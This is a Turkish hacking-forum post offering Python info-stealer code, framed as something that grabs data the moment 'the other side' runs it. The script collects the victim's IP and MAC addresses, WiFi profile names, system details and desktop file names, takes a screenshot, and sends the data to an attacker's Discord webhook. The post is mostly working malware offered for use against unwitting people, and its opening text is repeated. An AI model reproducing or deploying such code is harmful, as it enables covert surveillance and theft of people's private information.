- 14 Kas 2023
- 11
- 4
MERHABA DEĞERLİ THT ÜYELERİ
KARŞI TARAF BAŞLATTIĞI AN ALTTAKİ BİLGİLERİ ÇEKME KODU VERECEĞİM TEK YAPACAĞINIZ
KENDİ DİSCORD WEBHOOK BOTUNUZUN URLSİNİ YAZMAK OLACAK

KOD=
SİZLERE DAHADA PYTHON KODLARI VERECEĞİM
KARŞI TARAF BAŞLATTIĞI AN ALTTAKİ BİLGİLERİ ÇEKME KODU VERECEĞİM TEK YAPACAĞINIZ
KENDİ DİSCORD WEBHOOK BOTUNUZUN URLSİNİ YAZMAK OLACAK

KOD=
SİZLERE DAHADA PYTHON KODLARI VERECEĞİM

Python:
import os
import platform
import socket
import subprocess
import requests
import pyautogui
import uuid
# IP Adresi Al
def get_ip_address():
hostname = socket.gethostname()
ip_address = socket.gethostbyname(hostname)
return ip_address
# MAC Adresi Al
def get_mac_address():
mac = ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(5, -1, -1)])
return mac
# Bilgisayar Özelliklerini Al
def get_system_info():
system_info = f"Sistem: {platform.system()} {platform.release()}\n"
system_info += f"İşlemci: {platform.processor()}\n"
return system_info
# WiFi İsmi Al
def get_wifi_name():
try:
wifi_name = subprocess.check_output(['netsh', 'wlan', 'show', 'interfaces']).decode('utf-8').split('\n')
wifi_name = [line.split(':') for line in wifi_name if "Profil" in line]
wifi_name = [line[1].strip() for line in wifi_name]
return wifi_name
except Exception as e:
return str(e)
# Masaüstünde Bulunan Dosyaları Listele
def list_desktop_files():
desktop_path = os.path.expanduser("~/Desktop")
files_on_desktop = os.listdir(desktop_path)
return files_on_desktop
# Ekran Görüntüsü Al
def capture_screen():
screenshot = pyautogui.screenshot()
screenshot.save("screenshot.png")
# Discord Webhook Botuna Verileri Gönder
def send_to_discord_webhook(ip, mac, wifi, system_info, desktop_files):
webhook_url = "BURAYA_DİSCORD_WEBHOOK_URL_YAZ"
payload = {
"content": "Bilgisayar Bilgileri:",
"embeds": [
{
"title": "IP Adresi",
"description": ip
},
{
"title": "MAC Adresi",
"description": mac
},
{
"title": "WiFi İsmi",
"description": "\n".join(wifi)
},
{
"title": "Bilgisayar Özellikleri",
"description": system_info
},
{
"title": "Masaüstündeki Dosyalar",
"description": "\n".join(desktop_files)
}
]
}
requests.post(webhook_url, json=payload)
if __name__ == "__main__":
ip_address = get_ip_address()
mac_address = get_mac_address()
wifi_name = get_wifi_name()
system_info = get_system_info()
desktop_files = list_desktop_files()
capture_screen()
send_to_discord_webhook(ip_address, mac_address, wifi_name, system_info, desktop_files)
KUSURA BAKMAYIN MESAJ BİRAZ KARIŞIK OLMUŞ